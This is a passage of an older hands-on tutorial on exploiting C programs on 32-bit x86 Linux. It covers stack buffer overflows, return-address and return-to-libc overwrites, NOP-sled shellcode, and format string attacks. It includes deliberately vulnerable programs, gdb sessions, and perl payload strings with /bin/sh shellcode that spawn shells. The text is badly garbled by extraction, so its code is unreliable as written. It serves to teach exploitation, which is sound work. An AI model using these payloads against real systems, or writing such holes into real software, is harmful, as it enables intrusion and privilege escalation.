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The goal of exploitation is to simply make a computer system do something you want it to do, but it is not supposed to do. This 
really could mean anything, but there are a number of common ways for this to be interpreted. When attacking a remote 
system, most often it is desired to be able to run code on it. The code may be running as a non privileged user, but anything is 
a start. Attacking a system when you have the ability to run code on it, or locally, usually implies that the attacker wants to 
have more control over the system. In multiuser systems this is becoming the administrative user. Other times it may involve 
getting a webstore to sell you something for nothing. It may mean returning database entries that you desire information on. It 
really is anything that you want to do, but are not allowed to by the system.  

A classic method when exploiting programs is escalating privileges. The idea here is that different programs run with different 
sets of permissions. If you can get a program with more permissions than you to run some bit of code, then you effectively 
have all the privileges of the program that you are exploiting. On many machines exploiting a system process would mean that 
you have full administrative access on that machine.  

Levels of Access

The following is a list of general levels of access to a system. Exploitation is figuring out a way to get a higher level of access 
from something that has it, or can give it to you. 

1. Hardware level - CPU, Motherboard  
2. Firmware software level - BIOS, Microcode, device firmware  
3. Operating System level - kernel, device drivers, memory manager  
4. System Software - Core software that manages authentication, accounting, and other tasks  
5. Administrative user - The administrator of the machine  
6. Regular user - A normal user of the system  
7. Service user - A consumer of services of system or user software  
8. Remote network access - The ability to interact with, but not necessarily use software.  

Memory overflows

The basic memory overflow is where most exploit writers start their career at. To the computer, memory is not a set of 
variables, arrays, and code. It is one giant addressable street, with bits stored at every address, be they code or data. This 
layout of memory means that whenever programs are written, variables in one function are often stored next to each other in 
memory. As a consequence, if the program does not correctly interact with memory, it is possible to get it to write to things it 
should not be writing to.  

Take this program for example.  

#i ncl ude  
 
i nt  mai n( i nt  ar gc,  char  * *  ar gv)  
{  
 char  st r 2[ 8] ;  
 char  st r 1[ 8] ;  
 st r 1[ 8]  = ' A' ;  
 st r 1[ 9]  = 0;  
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 pr i nt f ( " %sn" , st r 2) ;  
 r et ur n 0;  
}  

If you compile the above program on most x86/Linux machines and run it, you will get the program to print out 'A'. As you see, 
we added the character 'A' to str1, not str2, which is what was printed out. How did that 'A' get into str2? It is because of the 
variables being adjacent in memory, arrays in C don't tell the programmer when they try to write past then end of the array.  

You might wonder how this technique could possibly be used to exploit a program. After all, what programmer would do 
something so obviously incorrect as the above example. Well here is a small program that might actually provide useful 
functionality, but could be exploited with the basic memory overflow technique.  

#i ncl ude  
#i ncl ude  
 
i nt  mai n( i nt  ar gc,  char  * *  ar gv)  
{  
 char  st r 2[ 32] ;  
 char  st r 1[ 32] ;  
 i f  ( ar gc <= 1)  
  r et ur n 0;  
 st r cpy( st r 2, " echo Thi s i s a shel l  command" ) ;  
 st r cpy( st r 1, ar gv[ 1] ) ;  
 pr i nt f ( " Ar gument 1:  %sn" , st r 1) ;  
 syst em( st r 2) ;  
}  

Normally this program will print out the first argument passed to the program, and run the command echo This is a shell 
command via the system shell. The problem here is if someone specifies an argument on the command line that is bigger 
than str1[32]. In that case strcpy will keep on copying the string and not stop until it is all copied.  

For  r ef er ence t hi s i s t he l ayout  of  t he memor y.  
[ - - - - - - - st r 1- - - - - - - ] [ - - - - - - st r 2- - - - - - - ]  

Normally str1 will have the contents of argv[1] (the first argument) and a null byte after the copy. However if an attacker runs it 
with padding to fill up str1, then a command they want to run so it starts at the beginning of str2, then the program will the 
command of whatever string is in str2.  

The attack: 

$ gcc t est f i l e2. c 
$ . / a. out  Test  
Ar gument 1:  Test  
Thi s i s a shel l  command 
$ . / a. out  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaapwd 
Ar gument 1:  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaapwd 
/ home/ mi ke 
$ 
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This same technique can even be used to change values of other kinds of variables. Lets take the case where an integer is 
stored after one of our strings, and we can overflow into it. For the case of 32 bit machines, integers are 4 bytes. In the intel 
architecture, which is little endian, the bytes are stored with the least significant byte first. What does this mean? Well, if you 
have the number 1 in an integer variable in memory it would look like this.  

0x01 0x00 0x00 0x00 

We also know that characters are exactly one byte. This tells us that if we overwrite the first byte of our integer with a space 
character, the front byte will be 0x20, the hexadecimal code for the ASCII space character. It may be helpful to have an ASCII 
chart on hand, along with a calculator for converting decimal to hexadecimal. Don't worry about knowing the entire table, as we 
will talk about a better method of choosing characters to insert in a bit. For now let's look at another vulnerable program.  

#i ncl ude  
#i ncl ude  
 
i nt  mai n( i nt  ar gc,  char  * *  ar gv)  
{  
 i nt  t est 1;  
 char  st r 1[ 8] ;  
 i f  ( ar gc <= 1)  
  r et ur n 0;  
 t est 1 = 0;  
 st r cpy( st r 1, ar gv[ 0] ) ;  
 i f  ( t est 1 == 0)  
  pr i nt f ( " t est 1 i s zer on" ) ;  
 el se 
  pr i nt f ( " t est 1 i s deci mal  %d hex %xn" , t est 1, t est 1) ;  
  
 r et ur n 0;  
}  

So, now that you know how the memory is laid out, you see that there will be 8 bytes of str1, then 4 bytes for the test1 integer. 
The plan will be to provide a 9 character argument to the program. Eight to fill str1, and one to change the value of test1. Here 
is the sample run with that test1.  

$ gcc t est f i l e3. c 
$ . / a. out  aaaaaaaa9 
t est 1 i s zer o 
$  

This was not what we expected. The character corresponding to '9' should have been written to the first byte of test1. The 
reason is actually somewhat obscure, but in certain cases the compiler will optimize the code and where it stores variables in 
memory. It is often much faster to waste a small bit of space and have variables be located on a 4 or 8 byte boundary instead 
of crossing one but having all the variables right next to each other. We could keep guessing sizes until we find the right one, 
but the proper technique, and one that will be faster in more advanced cases, is using a debugger. The one of choice here will 
be gdb, so let's take a hack at it and find out how far the start of test1 is from the start of str1.  

$ gcc - g t 3. c 
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$ gdb . / a. out  
( gdb)  br eak mai n 
Br eakpoi nt  1 at  0x80483d4:  f i l e t 3. c,  l i ne 8.  
( gdb)  r un 
St ar t i ng pr ogr am:  / home/ user / a. out  
 
Br eakpoi nt  1,  mai n ( ar gc=1,  ar gv=0xbf f f f 534)  at  t 3. c: 8 
8               i f  ( ar gc <= 1)  
( gdb)  pr i nt  &t est 1 
$1 = ( i nt  * )  0xbf f f f 4e4 
( gdb)  pr i nt  &st r 1 
$2 = ( char  ( * ) [ 8] )  0xbf f f f 4d8 
( gdb)  qui t  
The pr ogr am i s r unni ng.   Exi t  anyway? ( y or  n)  y  
$ 

What we are doing here is compiling the program with debugging support with the -g option. This allows us to use the 
debugger with the symbolic names of the variables. We open the debugger on our new executable. Then we tell it to break 
execution when it reaches the main function. Issuing the run command tells gdb to start running the program, until it hits a 
breakpoint. Once it is stopped, everything should now be loaded into memory, so we can examine the addresses of the 
variables with the print &variable statement. Doing that on both variables, and subtracting the two, shows that they are 0xc, or 
12 apart. That means we have to put in 12 characters before we hit test1. Let's try out that theory.  

$ . / a. out  abcdabcdabcd 
t est 1 i s zer o 
$ . / a. out  abcdabcdabcda 
t est 1 i s deci mal  97 hex 61 

Perfect! We were able to precisely determine the offset between the two variables and correctly use that to manipulate the 
values of test1.  

Saved return address overwrite

Now that you have made it through the basic memory overflow technique, lets look at what else you can potentially overflow in 
the memory. The previous attacks were interesting, but they did have one potential issue for an attacker, and that is they must 
be able to change the variable in a way that benefits them in the later code. They face numerous problems, not having the 
code, the code not doing anything beneficial in any case, and the possibility of the variable being overflowed not having any 
other variables after it.  

What attackers would often want is a quick and easy way to completely gain control of the program by overflowing some other 
important part of the program. This isn't as hard as it sounds if we look at how the compiler implements function calls.  

As you know from programming, every time you call a function it has its own copy of its local variables. With a call to a 
recursive function that goes 200 iterations deep, there should be 200 copies of its local variables in memory somewhere. There 
also should be an easy way of addressing each of these, and a way to return back to where you were after the function is done 
executing. A quick examination of how flow control works shows that you will enter one function from the next and return back 
in the exact same order the functions were called in. So if you called func1, then it called func2, and that called func3, the 
return order should be func3 to func2 and then back to func1. This is a stack and exactly how the computer implements it.  

The basis of the functions local memory space is the stack frame. The start of the stack frame is stored in a register called ebp, 
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or the base pointer. Whenever a program wants to look up a local variable, it does it by looking at the base pointer address 
plus some constant offset from that. Instructions are executed by the processor at whatever memory location the register eip is 
pointing to. Ah ha you think! Just overwrite the eip address with something of our choosing in order to take over flow control for 
the program. Its not quite that simple though because registers are not part of the continuous memory space. How you actually 
do change eip isn't that much more complicated though.  

Thinking about this implementation of a function as a frame starting at wherever ebp points to and code executing at whatever 
eip points to means that these two important values must be saved whenever we call another function and easily restored 
when that function returns. This task is easily solved by pushing the two register values onto the top of the stack, or after the 
function's frame.  

Her e i s t he f unct i on f r ame l ayout  i n memor y.  
 
<- Bot t om of  st ack      Top of  st ack - > 
   [ var 1] [ var 2] [ var 3] [ paddi ng] [ var 4] [ var 5]  
^                                         
- - - - -  ebp r egi st er  poi nt s her e 
 
ei p r egi st er  poi nt s t o some poi nt  i n f unct i on code el sewher e i n memor y.  

From this we see that the variables are expressed as a negative offset from ebp. We can verify this from the disassembly of 
some code in gdb. Comparing a variable to zero looks like this. 0x08048401 : cmpl $0x0,0xfffffffc(%ebp). Here we see that it 
is comparing the constant 0x0 to the value of what ebp-4 points to. The 0xfffffffc is just a way of writing negative 4, the first bit 
of the binary representation of the number is the negative of its value.  

Moving on from here, we see that when we call a function, we must preserve ebp and eip so we can continue execution where 
it was left at. To do this the machine issues a push instruction on the ebp and eip registers to push them on the end of the 
stack.  

Af t er  t he push,  t he memor y l ooks l i ke t hi s.  
 
<- Bot t om of  st ack      Top of  st ack - > 
[ var 1] [ var 2] [ var 3] [ paddi ng] [ var 4] [ var 5] [ savedei p] [ savedebp]  
                                                      ^  
ebp r egi st er  poi nt s her e now- - - - - - - - - - - - - - - - - - - - - - - - - - -  
 
ei p r egi st er  poi nt s t o some poi nt  i n f unct i on code el sewher e i n memor y.  

What we see here is that the new frame starts at [savedebp] and continues on. This provides an interesting opportunity. If in 
the function we just called, we could overwrite the value of eip to point somewhere else, we could take control of the program. 
Let's look at the function frame after we get into the other function.  

#i ncl ude . h;  
#i ncl ude . h;  
 
voi d f unc1( )  
{  
 pr i nt f ( " Hel l o Wor l d! n" ) ;  
 exi t ( 1) ;  
}  
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i nt  mai n( i nt  ar gc,  char  * *  ar gv)  
{  
 i nt  *  x;  
 x = &x + 2;  
 * x = f unc1;  
}  

If you compile and execute this program with gcc/x86/linux you will have the string Hello World! printed out the screen. How is 
this possible? We made the pointer equal to its own location, and forwarded it by two. It should be in the middle of the x 
pointer right? Well, thats something that can really bite you when working with pointers in C. When you add a number to a 
pointer in C, it doesn't add one byte, it adds one unit length for the type of pointer you are working with. In this case the pointer 
is to an int, and ints are 4 bytes long, so actually we forwarded the pointer by 8 bytes, or exactly onto the saved eip. We then 
overwrite what is at that address with the address of func1. So whenever main returns, instead of returning into the linker code 
that called it, it returns to func1.  

Return into functions

You might be thinking, well how useless is that! Who cares if you can return into some other function, you won't be able to 
pass variables, and even if you could, what useful functions are there to return into?. Well you actually can pass arguments to 
functions, since all they do is get them off the stack. Lets give it a try with a modified program.  

#i ncl ude  
#i ncl ude  
 
voi d f unc1( i nt  x)  
{  
        pr i nt f ( " Hel l o Wor l d!  %dn" , x) ;  
        exi t ( 1) ;  
}  
 
i nt  mai n( i nt  ar gc,  char  * *  ar gv)  
{  
        i nt  *  x;  
        x = &x + 2;  
        * x = f unc1;  
        x = &x + 4;  
        * x = 0x1;  
}  

When we compile and run this program, Hello World! 1 is printed out!. This is a trivial case, but what useful function could we 
return into? A quick look around libc and we remember that the system(char *) call will run the string you pass to it as if you 
typed it into the shell. We pass strings by passing the address to the start of their character array, so lets try to return into 
system and make it run /bin/ls.  

#i ncl ude  
#i ncl ude  
 
i nt  mai n( i nt  ar gc,  char  * *  ar gv)  
{  
        i nt  *  x;  
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        x = &x + 2;  
        * x = f unc1;  
        x = &x + 4;  
        * x = " / bi n/ l s" ;  
}  

If we compile and run this, it does exactly what we thought it would! It runs /bin/ls. You may be wondering about why we added 
4 to the original address of x instead of 1,2 or 3. Just remember that we are adding to actual location of x in main, not based on 
where it was before. There also is 4 bytes of space before the arguments start following the end of the frame. This is all great 
because we are just using C's linker to get all the addresses automatically and not doing any overflows from the command line. 
So lets try to exploit one of these programs from the command-line.  

#i ncl ude  
#i ncl ude  
 
i nt  mai n( i nt  ar gc,  char  * *  ar gv)  
{  
 char  st r 1[ 8] ;  
 char  *  env1 = get env( " VAR1" ) ;  
 char  *  env2 = get env( " VAR2" ) ;  
 pr i nt f ( " addr ess of  env2 0x%xn" , env2) ;  
 pr i nt f ( " addr ess of  syst em 0x%xn" , syst em) ;  
 st r cpy( st r , env1) ;  
}  

Running the program we get the following output.  

$ VAR1=h VAR2=h . / a. out  
addr ess of  env2 0xbf f f f 69d 
addr ess of  syst em 0x8048320 
$ 

From what we have learned before, this means we want to change the saved eip to the address of system, then have 4 bytes 
of blank space, then the address of env2, which we will have set to /bin/sh. So we will have a string of length 8 to fill str1, 4 
bytes to get past ebp, 4 bytes that are the address of system, another 4 bytes of nothing, then 4 bytes that are the address of 
VAR2. So lets build one based on the values we have above.  

$ VAR1=` per l  - e ' pr i nt  " AAAAAAAAAAAAx20x83x04x08AAAAx95xf 6xf f xbf " ' `  VAR2=/ bi n/ sh . / a. out
addr ess of  env2 0xbf f f f 697 
addr ess of  syst em 0x8048320 
sh:  l i ne 1:  2=/ bi n/ sh:  No such f i l e or  di r ect or y  
Segment at i on f aul t  
$ 

That didn't work. We made the string in VAR1 just as described. We wrote the addresses in the string in little endian form, 
everything we should have done, but it didn't work. The problem here if we look closer is more subtle. The address of env2 
changed! Why was that? It happened because we added more things to the environment, and it pushed our string back, so lets 
rerun the exploit string with the new address value.  
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$ VAR1=` per l  - e ' pr i nt  " AAAAAAAAAAAAx20x83x04x08AAAAx97xf 6xf f xbf " ' `   
VAR2=/ bi n/ sh . / a. out  
addr ess of  env2 0xbf f f f 697 
addr ess of  syst em 0x8048320 
sh- 2. 05b$ exi t  
Segment at i on f aul t  
$ 

It worked that time, and we got a shell. If we were so inclined to do so, we could have used gdb to obtain the addresses for 
system and env2 like we did when we first started exploiting memory overflows. For further information please see the Phrack 
article on return into libc exploits at http://www.phrack.org/show.php?p=58&a=4.  

Return into memory

The previous technique described was the return into libc technique. It is often described as more advanced than the 
technique we will learn here, but that is an arguable point. The advantage of that technique over this one is that it will let you 
take over a program that is running with a system that has a non executable stack patch. This is basically a cheap way to stop 
the kind of exploits that I will talk about here, which is where we put machine code on the stack and point the return address to 
that. Although this technique is defeated by a non executable stack, no many systems have such a security mechanism. Also, 
if libc's system call is not loaded into memory, then you will have to go through the trouble of assembling a series of function 
calls that will do exactly what you want. It is often easier to just provide some machine code into the buffer you are overflowing 
and just run that.  

Fr om t he ear l i er  ar t i c l e t hi s i s what  a f unct i on f r ame l ooks l i ke.  
 
<- Bot t om of  st ack      Top of  st ack - > 
   [ var 1] [ var 2] [ var 3] [ paddi ng] [ var 4] [ var 5]  
^                                         
- - - - -  ebp r egi st er  poi nt s her e 
 
When you cal l  a f unct i on,  i t  t hen l ooks l i ke t hi s.  
 
<- Bot t om of  st ack      Top of  st ack - > 
[ var 1] [ var 2] [ var 3] [ paddi ng] [ var 4] [ var 5] [ savedei p] [ savedebp] [ var 1] [ var 2] . . .
                                                      ^  
ebp r egi st er  poi nt s her e now- - - - - - - - - - - - - - - - - - - - - - - - - - -  
 
Var i abl es ar e wr i t t en r i ght  t o l ef t  i n t hi s not at i on.  

So if we want to run our own machine code, we will overflow var1 or var2 with a string that has machine code in it, overwrite 
savedebp, overwrite savedeip with the address of var1 or var2, and wait for the function to return and start executing the code 
we provided. There are several challenges with this technique though. The first challenge is the machine code. In order to get 
strcpy to keep going, it must not encounter any 0 bytes, or it will think it hit the end of the string. You also must provide the 
exact address of var2, or the CPU will start executing at an incorrect place and the program will most likely crash.  

So here's the list.  
1) Machine code with no null bytes 
2) Exact address of variable in EIP 
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Solving the first problem is beyond the scope of this article, and requires extensive experience in writing assembly. There are 
plenty of readily available shellcode for download, and articles to describe writing them in a position independent manner and 
without null bytes.  

The second problem is more tractable for us. There is a way to be able to use a more approximate address for the shellcode 
and still have it run. Since the buffers we are going to overflow are often quite long relative to the shellcode, we would have to 
pad the extra space with some character. Instead of using padding for a character, we could just extend the shell code to have 
some large beginning that did nothing until it reached the actual code. The intel architecture provides just this mechanism with 
the NOP instruction. NOP stands for No-OPeration, and it is one byte in length, that byte being 0x90. So if we provide a bunch 
of 0x90 bytes before the shellcode, we could return into anywhere where those NOPs were, and the CPU would keep 
executing them until it hit the shell code.  

The problem of locating where EIP is relative to the variable is a much easier problem if we use a debugger. Since the 
addresses of variables are hard-coded into the program as a relative offset from ebp, they will always be that same offset from 
ebp. From looking at the previous stack frame pictures, we see that ebp points to the saved ebp, and right behind that is the 
saved eip. So all we have to do is find out how far the variable is from ebp, add 4 bytes to that, and we are pointing at the 
saved eip. So lets take a look at a vulnerable program.  

#i ncl ude  
#i ncl ude  
 
i nt  mai n( i nt  ar gc,  char  * *  ar gv)  
{  
 i nt  x, y, z;  
 char  buf [ 512] ;  
 char  *  env = get env( " VAR1" ) ;  
 i f  ( env == 0)  
  r et ur n 0;  
 st r cpy( buf , env) ;  
}  

Now we have a program that has a buffer, some extra variables in the way, and a vulnerable strcpy. Let's find out where EIP 
is, and where buf is so we can return into it.  

$ gcc - g t 6. c 
$ gdb a. out  
GNU gdb 6. 1. 1 
Copyr i ght  2004 Fr ee Sof t war e Foundat i on,  I nc.  
GDB i s f r ee sof t war e,  cover ed by t he GNU Gener al  Publ i c Li cense,  and you ar e
wel come t o change i t  and/ or  di st r i but e copi es of  i t  under  cer t ai n condi t i ons.
Type " show copyi ng"  t o see t he condi t i ons.  
Ther e i s absol ut el y no war r ant y f or  GDB.   Type " show war r ant y"  f or  det ai l s.
Thi s GDB was conf i gur ed as " i 486- sl ackwar e- l i nux" . . . Usi ng host  l i bt hr ead_db l i br ar y 
" / l i b/ l i bt hr ead_db. so. 1" .  
 
( gdb)  br eak mai n 
Br eakpoi nt  1 at  0x80483d7:  f i l e t 6. c,  l i ne 8.  
( gdb)  r un 
St ar t i ng pr ogr am:  / home/ user / a. out  
 
Br eakpoi nt  1,  mai n ( ar gc=1,  ar gv=0xbf f f f 534)  at  t 6. c: 8 
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8               char  *  env = get env( " VAR1" ) ;  
( gdb)  pr i nt  &buf  
$1 = ( char  ( * ) [ 512] )  0xbf f f f 2d0 
( gdb)  i nf o r egi st er s ebp 
ebp            0xbf f f f 4e8       0xbf f f f 4e8 
( gdb)  qui t  
The pr ogr am i s r unni ng.   Exi t  anyway? ( y or  n)  y  
$ 

So we have found that the difference between ebp and buf is 0x4e8-0x2d0 or 0x218 (536 in decimal). So that means the saved 
ebp is 0x218 bytes away from buf, and the saved eip is just 4 bytes past that, or 0x21c bytes (540 decimal). This has also 
given us the address we want to put in there, the address of buf, or 0xbffff2d0. The address of buf won't always be this, it will 
change a bit when we start putting environment variables in memory, but we will be able to guess at it with this as a starting 
point and let the NOPs take care of the rest. First let's get some shell code.  

  " xebx1f x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"  
  " x89xf 3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"  
  " x80xe8xdcxf f xf f xf f / bi n/ sh" ;  

This is the default phrack 49-14 shellcode by aleph1. It is 45 bytes long. Now we can do our calculation of how to construct the 
exploit code. The saved EIP is 540 bytes from buf. The last 4 bytes will be our guess as to the start of buf. The 4 bytes before 
that will be some character to overwrite the saved ebp. This gives us 536 bytes left. The last 45 bytes of that will be the shell 
code, so that makes 491 bytes of NOPs at the beginning of the buffer. Here is how we will print it out with perl.  

$ VAR1=` per l  - e ' pr i nt  " x90" x491, " xebx1f x5ex89x76" ,  
" x08x31xc0x88x46x07x89x46x0cxb0x0bx89xf 3" ,  
" x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcdx80xe8xdc" ,  
" xf f xf f xf f / bi n/ shAAAAxd0xf 2xf f xbf " ' `  . / a. out  
sh- 2. 05b$ exi t  
$ 

It worked, and the first time, but the actual address for buf changed a little. You may have to change the address a little, and 
usually by subtracting from it, and quite often in increments about half of the size of the exploit string. In this case by adding a 
print statement to the vulnerable program, I discovered the real address of buf was 0xbffff160, however the exploit still worked 
because it landed into the NOPs.  

In your travels it may be useful to get a core dump to see if you overwrote EIP. In this case you should attempt to overwrite it 
with a character, such as 'A'. In order to get a coredump you may have to issue the command ulimit -c unlimited. You will get 
the message Segmentation fault (core dumped) if a corefile was dumped. To use it run gdb ./a.out core.#### where .#### 
is the number of the pid of the process, although some systems just leave it as core. When in gdb type info registers eip. It 
will show 0x41414141 if you have correctly overflowed the saved eip register with 'A's and the function returned. If you 
overflow it with an actual address, it probably won't show anything meaningful. One strategy to use when trying to find 
experimentally in this manner where the saved EIP is located, is to use other characters, and look which characters EIP is set 
to in the core dump.  

Her e i s a sampl e sessi on usi ng a cor e f i l e t o l ocat e t he saved ei p.  
 
$ VAR1=` per l  - e ' pr i nt  " A" x544' `  . / a. out  
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Segment at i on f aul t  ( cor e dumped)  
$ l s cor e*  
cor e 
$ gdb . / a. out  cor e 
GNU gdb 6. 1. 1 
Copyr i ght  2004 Fr ee Sof t war e Foundat i on,  I nc.  
GDB i s f r ee sof t war e,  cover ed by t he GNU Gener al  Publ i c Li cense,  and you ar e
wel come t o change i t  and/ or  di st r i but e copi es of  i t  under  cer t ai n condi t i ons.
Type " show copyi ng"  t o see t he condi t i ons.  
Ther e i s absol ut el y no war r ant y f or  GDB.   Type " show war r ant y"  f or  det ai l s.
Thi s GDB was conf i gur ed as " i 486- sl ackwar e- l i nux" . . . Usi ng host  l i bt hr ead_db l i br ar y 
" / l i b/ l i bt hr ead_db. so. 1" .  
 
Cor e was gener at ed by ` . / a. out ' .  
Pr ogr am t er mi nat ed wi t h s i gnal  11,  Segment at i on f aul t .  
Readi ng symbol s f r om / l i b/ l i bc. so. 6. . . done.  
Loaded symbol s f or  / l i b/ l i bc. so. 6 
Readi ng symbol s f r om / l i b/ l d- l i nux. so. 2. . . done.  
Loaded symbol s f or  / l i b/ l d- l i nux. so. 2 
#0  0x41414141 i n ?? ( )  
( gdb)  i nf o r egi st er s ei p 
ei p            0x41414141       0x41414141 
( gdb)  qui t  
$ 

The classical paper on buffer overflows is at http://www.phrack.org/show.php?p=49&a=14.  

Format String Exploits

#i ncl ude  
#i ncl ude  
 
i nt  mai n( i nt  ar gc,  char  * *  ar gv)  
{  
        char  *  env = get env( " VAR1" ) ;  
        char  st z[ 1024] ;  
        i f  ( env == 0)  
                r et ur n 0;  
        st r ncpy( st z, env, 1024) ;  
        st z[ 1023]  = 0;  
 
        pr i nt f ( env) ;  
}  

It is possible to view any memory location with this code. To do so you need to determine how far away the string is in the 
stack. This is easy because we can examine the stack by sending in %08x format specifiers to read ints off the stack. A 
sample string to read off the location in the stack will look like this AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x... All the 
user has to do is look where 41414141 occurs, and this is the beginning of the string. What use is this? Well if we specify some 
other bytes there and use %s, it will be treated like a pointer! Let's give this a try.  

$ VAR1=` per l  - e ' pr i nt  " AAA0%08x. %08x. %08x. %08x. %08x. %08x. %08x. %08x. %08x" ' `  . / a. out
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AAA0bf f f f 66e. 00000400. 00000000. 00000005. 400008f c. 40000258. 40000000. 30414141. 78383025
$ 

So it appears that the 8th specifier leads to the front of the string. So now if we replace the 8th specifier with %s, and the first 4 
characters with an address in little endian notation, we can get printf to print out whatever is at that address up to a null byte.  

$ VAR1=` per l  - e ' pr i nt  " x73xf 6xf f xbf %08x. %08x. %08x. %08x. %08x. %08x. %08x. %s" ' `  . / a. out
söÿ¿bf f f f 675. 00000400. 00000000. 00000005. 400008f c. 40000258. 40000000. 1=söÿ¿%
$ 

Replacing the 8th specifier with %s, and having the start of the string be a pointer to env caused the original VAR1 
environment variable be printed out at the end of the string! Now for a moment lets look at some other code that is vulnerable 
to a format string attack.  

Overflow format strings

#i ncl ude  
#i ncl ude  
 
voi d f unc1( )  
{  
        pr i nt f ( " Hel l o,  Wor l d! n" ) ;  
 exi t ( 1) ;  
}  
 
i nt  mai n( i nt  ar gc,  char  * *  ar gv)  
{  
        char  st z[ 64] ;  
        char  *  env = get env( " VAR1" ) ;  
        i f  ( env == 0)  
                r et ur n 0;  
        i f  ( st r l en( env)  > 64)  
                r et ur n 0;  
        pr i nt f ( " f unc1 at  %xn" , f unc1) ;  
 
        spr i nt f ( st z, env) ;  
}  

At first glance it appears that an overflow is not possible with this code, as the boundary of env is checked. This assumption is 
incorrect though, as we previously witnessed a small specifier in a format string can make a large output. Say we specify %
100x in $VAR1, the program will crash with a segmentation fault. So before we try to exploit this, lets see where the saved EIP 
is relative to stz.  

$ gdb . / a. out  
GNU gdb 6. 1. 1 
Copyr i ght  2004 Fr ee Sof t war e Foundat i on,  I nc.  
GDB i s f r ee sof t war e,  cover ed by t he GNU Gener al  Publ i c Li cense,  and you ar e
wel come t o change i t  and/ or  di st r i but e copi es of  i t  under  cer t ai n condi t i ons.
Type " show copyi ng"  t o see t he condi t i ons.  
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Ther e i s absol ut el y no war r ant y f or  GDB.   Type " show war r ant y"  f or  det ai l s.
Thi s GDB was conf i gur ed as " i 486- sl ackwar e- l i nux" . . . Usi ng host  l i bt hr ead_db l i br ar y 
" / l i b/ l i bt hr ead_db. so. 1" .  
 
( gdb)  br eak mai n 
Br eakpoi nt  1 at  0x804844c:  f i l e t 8. c,  l i ne 12.  
( gdb)  r un 
St ar t i ng pr ogr am:  / home/ user / a. out  
 
Br eakpoi nt  1,  mai n ( ar gc=1,  ar gv=0xbf f f f 514)  at  t 8. c: 12 
12              char  *  env = get env( " VAR1" ) ;  
( gdb)  pr i nt  &st z 
$1 = ( char  ( * ) [ 64] )  0xbf f f f 480 
( gdb)  i nf o r egi st er s ebp 
ebp            0xbf f f f 4c8       0xbf f f f 4c8 
( gdb)  The pr ogr am i s r unni ng.   Exi t  anyway? ( y or  n)  y  
$ 

0x4c8-0x480 give us 0x48, or 72 decimal. That means we should be able to do %71d and have it not crash, but %72 should 
write one byte of the saved ebp over with a null byte. %76d should overwrite the saved ebp completely, and one byte of the 
saved eip with a null. Testing this out, the theory proves correct, and the program crashes as soon as we use %76d. 
(Sometimes it may crash earlier, if a corrupt ebp when restored leads to such a situation). It is not too difficult to test the theory 
of overwriting the saved EIP out. Let's try a string of %76dAAAA. The %76d should write 76 bytes, and AAAA will be placed 
over the saved eip.  

$ expor t  VAR1=%76xAAAA 
$ gdb . / a. out  
GNU gdb 6. 1. 1 
Copyr i ght  2004 Fr ee Sof t war e Foundat i on,  I nc.  
GDB i s f r ee sof t war e,  cover ed by t he GNU Gener al  Publ i c Li cense,  and you ar e
wel come t o change i t  and/ or  di st r i but e copi es of  i t  under  cer t ai n condi t i ons.
Type " show copyi ng"  t o see t he condi t i ons.  
Ther e i s absol ut el y no war r ant y f or  GDB.   Type " show war r ant y"  f or  det ai l s.
Thi s GDB was conf i gur ed as " i 486- sl ackwar e- l i nux" . . . Usi ng host  l i bt hr ead_db l i br ar y 
" / l i b/ l i bt hr ead_db. so. 1" .  
 
( gdb)  r un 
St ar t i ng pr ogr am:  / home/ user / a. out  
f unc1 at  8048424 
 
Pr ogr am r ecei ved si gnal  SI GSEGV,  Segment at i on f aul t .  
0x41414141 i n ?? ( )  
( gdb)  i nf o r egi st er s ei p 
ei p            0x41414141       0x41414141 
( gdb)  qui t  
The pr ogr am i s r unni ng.   Exi t  anyway? ( y or  n)  y  
$ 

Okay, now that we see its possible, lets replace the AAAA with the address of func1 that we are printing out.  
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$ expor t  VAR1=` per l  - e ' pr i nt  " %76xx24x84x04x08" ' `  
$ . / a. out  
f unc1 at  8048424 
Hel l o,  Wor l d!  
$ 

It is now a trivial exercise to extend this into a technique where we can run shellcode in our string. All we have to do is tack the 
shellcode onto the end of our string, perhaps with some NOP instructions in front, and return into the NOPs. Finding the return 
address is even easier if you can print things off the stack, as the 0xbf...... values are saved ebp pointers, or addresses very 
close to where you are trying to hit. You can use them as a starting point.  

Let's give it a try. Here is a slightly modified program.  

#i ncl ude  
#i ncl ude  
 
i nt  mai n( i nt  ar gc,  char  * *  ar gv)  
{  
        char  st z[ 64] ;  
        char  *  env = get env( " VAR1" ) ;  
        i f  ( env == 0)  
                r et ur n 0;  
        i f  ( st r l en( env)  > 64)  
                r et ur n 0;  
        pr i nt f ( " st z at  %xn" , st z) ;  
 
        spr i nt f ( st z, env) ;  
}  

The exploit string will look something like this, %76xAAAAshellcode. The easy thing to do would be to modify the exploit that 
we used in the previous section.  

$ expor t  VAR1=` per l  - e ' pr i nt  " %76xAAAA" , " xebx1f x5ex89x76" ,  
" x08x31xc0x88x46x07x89x46x0cxb0x0bx89xf 3" ,  
" x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcdx80xe8xdc" ,  
" xf f xf f xf f / bi n/ sh" ' `  
$ . / a. out  
st z at  bf f f f 460 
Segment at i on f aul t  
$ 

The trick now is to make the address that we return equal to stz+76+4. With the address printed out here that would be 
0xbffff4b0. So lets run that again with the computed value for the return address.  

$ expor t  VAR1=` per l  - e ' pr i nt  " %76xxb0xf 4xf f xbf " , " xebx1f x5ex89x76" ,  
" x08x31xc0x88x46x07x89x46x0cxb0x0bx89xf 3" ,  
" x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcdx80xe8xdc" ,  
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" xf f xf f xf f / bi n/ sh" ' `  
$ . / a. out  
st z at  bf f f f 460 
sh- 2. 05b$ exi t  
$ 

Once again we have successful exploitation. Its not yet time for celebration. The first program we listed is not exploitable using 
this technique! Let's look at it once again.  

Direct write format string attack

#i ncl ude  
#i ncl ude  
 
i nt  mai n( i nt  ar gc,  char  * *  ar gv)  
{  
        char  *  env = get env( " VAR1" ) ;  
        char  st z[ 1024] ;  
        i f  ( env == 0)  
                r et ur n 0;  
        st r ncpy( st z, env, 1024) ;  
        st z[ 1023]  = 0;  
 
        pr i nt f ( env) ;  
}  

